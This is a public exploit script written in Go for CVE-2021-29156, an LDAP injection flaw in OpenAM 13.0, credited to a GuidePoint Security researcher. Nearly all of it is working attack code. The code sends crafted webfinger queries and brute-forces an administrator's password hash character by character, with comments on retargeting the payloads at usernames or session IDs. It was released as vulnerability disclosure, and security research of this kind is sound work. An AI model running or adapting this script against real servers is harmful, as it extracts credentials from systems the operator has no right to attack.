# Exploit Title: OpenAM 13.0 - LDAP Injection
# Date: 03/11/2021
# Exploit Author: Charlton Trezevant, GuidePoint Security
# Vendor Homepage: https://www.forgerock.com/
# Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
# https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
# Version: OpenAM v13.0.0
# Tested on: go1.17.2 darwin/amd64
# CVE: CVE-2021-29156
#
# This vulnerability allows an attacker to extract a variety of information
# (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
# injection, using a character-by-character brute force attack.
#
# https://github.com/guidepointsecurity/CVE-2021-29156
# https://nvd.nist.gov/vuln/detail/CVE-2021-29156
# https://portswigger.net/research/hidden-oauth-attack-vectors
package main
// All of these dependencies are included in the standard library.
import (
"container/ring"
"fmt"
"math/rand"
"net/http"
"net/url"
"sync"
"time"
)
func main() {
// Base URL of the target OpenAM instance
baseURL := "http://localhost/openam/"
// Local proxy (such as Burp)
proxy := "http://localhost:8080/"
// Username whose hash should be dumped
user := "amAdmin"
// Configurable ratelimit
// This script can go very, very fast. But it's likely that would overload Burp and the target server.
// The default ratelimit of 6 can retrieve a 60 character hash through a proxy in about 5 minutes and
// ~1700 requests.
rateLimit := 6
// Beginning of the LDAP injection payload. %s denotes the position of the username.
payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user)
partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername)
// Your LDAP injection payloads. %s denotes the position at which the constructed hash + next test character
// will be inserted.
// These are configured to dump password hashes. But you can reconfigure them to dump other data, such as
// usernames/session IDs/etc depending on your use case.
// N.B. you will likely need to update the brute-forcing keyspace depending on the data you're trying to dump.
testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
// The keyspace for brute-forcing individual characters is stored in a ringbuffer
// You may need to change how this is initialized depending on the types of data you're
// trying to retrieve. By default, this is configured for password hashes.
dict := makeRing()
// Working characters for each step are concatenated with this string. Further tests are conducted
// using this value as it's built.
// Importantly, if you already have part of the hash you can put it here as a crib. This allows you
// to resume a previous brute-forcing session.
password := ""
proxyURL, _ := url.Parse(proxy)
// You can modify the HTTP client configuration below.
// For example, to disable the HTTP proxy or set a different
// request timeout value.
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(proxyURL),
},
Timeout: 30 * time.Second,
}
// Channels used for internal signaling
cracked := make(chan string, 1)
foundChar := make(chan string, 1)
wg := &sync.WaitGroup{}
wg.Add(1)
// All hacking tools need a header. You may experience a 10-15x performance improvement
// if you replace the flower-covered header with the gothic bleeding/flaming/skull-covered
// ASCII art typical of these kinds of tools.
printHeader()
loop:
for {
select {
case <-cracked:
// Full hash test succeeds, terminate everything
// N.B. this feature does not work, see my comments on checkCracked.
fmt.Printf("Cracked! Password hash is: \"%s\"\n", password)
wg.Done()
break loop
case char := <-foundChar:
// In the event that a test character succeeds, that thread will pass it along in the
// foundChar channel to signal success. It's then concatenated with the known-good
// password hash and the whole thing is tested in a query
// This doesn't work because OpenAM doesn't respond to direct queries containing the password hash
// in the manner I expect. But it might still work for other types of data.
password += char
fmt.Printf("Progress so far: '%s'\n", password)
// Forgive these very ugly closures
go (func(client *http.Client, url, payload *string, password string, cracked *chan string) {
// Add random jitter before submitting request
time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
time.Sleep(1 * time.Second)
checkCracked(client, url, payload, &password, cracked)
})(client, &partURL, &testCharPayload, password, &cracked)
default:
for i := 0; i < rateLimit-1; i++ {
testChar := dict.Value.(string)
go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) {
time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
time.Sleep(1 * time.Second)
getChar(client, url, payload, &password, &testChar, foundChar)
})(client, &partURL, &testCrackedPayload, password, testChar, &foundChar)
dict = dict.Next()
}
time.Sleep(1 * time.Second)
}
}
wg.Wait()
}
// checkCracked tests a complete string in a query against the OpenAM server to
// determine whether the exact, full hash has been retrieved.
// This doesn't actually work, because the server doesn't respond as I'd expect
// A better implementation would probably watch until all positions in the ringbuffer
// are exhausted in testing and terminate (since there's no way to progress further)
func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) {
fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*password))
fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Printf("checkCracked: %s", err.Error())
return
}
res, err := client.Do(req)
if err != nil {
fmt.Printf("checkCracked: %s", err.Error())
return
}
if res.StatusCode == 200 {
*cracked <- *password
return
}
if res.StatusCode == 404 {
return
}
fmt.Printf("checkCracked: got status code of %d for payload %s", res.StatusCode, payload)
}
// getChar tests a given character at the end position of the configured payload and dumped hash progress.
func getChar(client *http.Client, targetURL, payload, password, testChar *string, foundChar *chan string) {
// Concatenate test character -> password -> payload -> attack URL
combinedPass := url.QueryEscape(fmt.Sprintf("%s%s", *password, *testChar))
fullPayload := fmt.Sprintf(*payload, combinedPass)
fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
req, err := http.NewRequest("GET", fullURL, nil)
if err != nil {
fmt.Printf("getChar: %s", err.Error())
return
}
res, err := client.Do(req)
if err != nil {
fmt.Printf("getChar: %s", err.Error())
return
}
if res.StatusCode == 200 {
*foundChar <- *testChar
return
}
if res.StatusCode == 404 {
return
}
fmt.Printf("getChar: got status code of %d for payload %s", res.StatusCode, payload)
}
// makeRing instantiates a ringbuffer and initializes it with test characters common in base64
// and password hash encodings.
// Bruteforcing on a character-by-character basis can only go as far as your dictionary will take
// you, so be sure to update these strings if the keyspace for your use case is different.
func makeRing() *ring.Ring {
var upcase string = `ABCDEFGHIJKLMNOPQRSTUVWXYZ`
var lcase string = `abcdefghijklmnopqrstuvwxyz`
var num string = `1234567890`
var punct string = `$+/.=`
var dictionary string = upcase + lcase + num + punct
buf := ring.New(len(dictionary))
for _, c := range dictionary {
buf.Value = fmt.Sprintf("%c", c)
buf = buf.Next()
}
return buf
}
// printHeader is cool.
func printHeader() {
fmt.Printf(`
_______ ,---. ,---. .-''-.
/ __ \ | / | | .'_ _ \
| ,_/ \__)| | | .'/ ( ' ) '
,-./ ) | | _ | |. (_ o _) |
\ '_ '') | _( )_ || (_,_)___|
> (_) ) __\ (_ o._) /' \ .---.
( . .-'_/ )\ (_,_) / \ '-' /
'-''-' / \ / \ /
'._____.' '---' ''-..-'
.'''''-. .-'''''''-. .'''''-. ,---. .'''''-. .-''''-. ,---. ,--------. .------. .---.
/ ,-. \ / ,'''''''. \ / ,-. \ /_ | / ,-. \ / _ _ \ /_ | | _____| / .-. \ \ /
(___/ | ||/ .-./ ) \| (___/ | | ,_ | (___/ | || ( ' ) | ,_ | | ) / / '--' | |
.' / || \ '_ .')|| .' / ,-./ )| _ _ _ _ .' / | (_{;}_) |,-./ )| | '----. | .----. \ /
_.-'_.-' ||(_ (_) _)|| _.-'_.-' \ '_ '') ( ' )--( ' ) _.-'_.-' | (_,_) |\ '_ '')|_.._ _ '. | _ _ '. v
_/_ .' || / . \ || _/_ .' > (_) )(_{;}_)(_{;}_)_/_ .' \ | > (_) ) ( ' ) \| ( ' ) \ _ _
( ' )(__..--.|| '-''"' || ( ' )(__..--.( . .-' (_,_)--(_,_)( ' )(__..--. '----' |( . .-' _(_{;}_) || (_{;}_) |(_I_)
(_{;}_) |\'._______.'/(_{;}_) | '-''-'| (_{;}_) | .--. / / '-''-'| | (_,_) / \ (_,_) /(_(=)_)
(_,_)-------' '._______.' (_,_)-------' '---' (_,_)-------' )_____.' '---' '...__..' '...__..' (_I_)
~ ~ (c) 2021 GuidePoint Security - [email protected] ~ ~
`)
}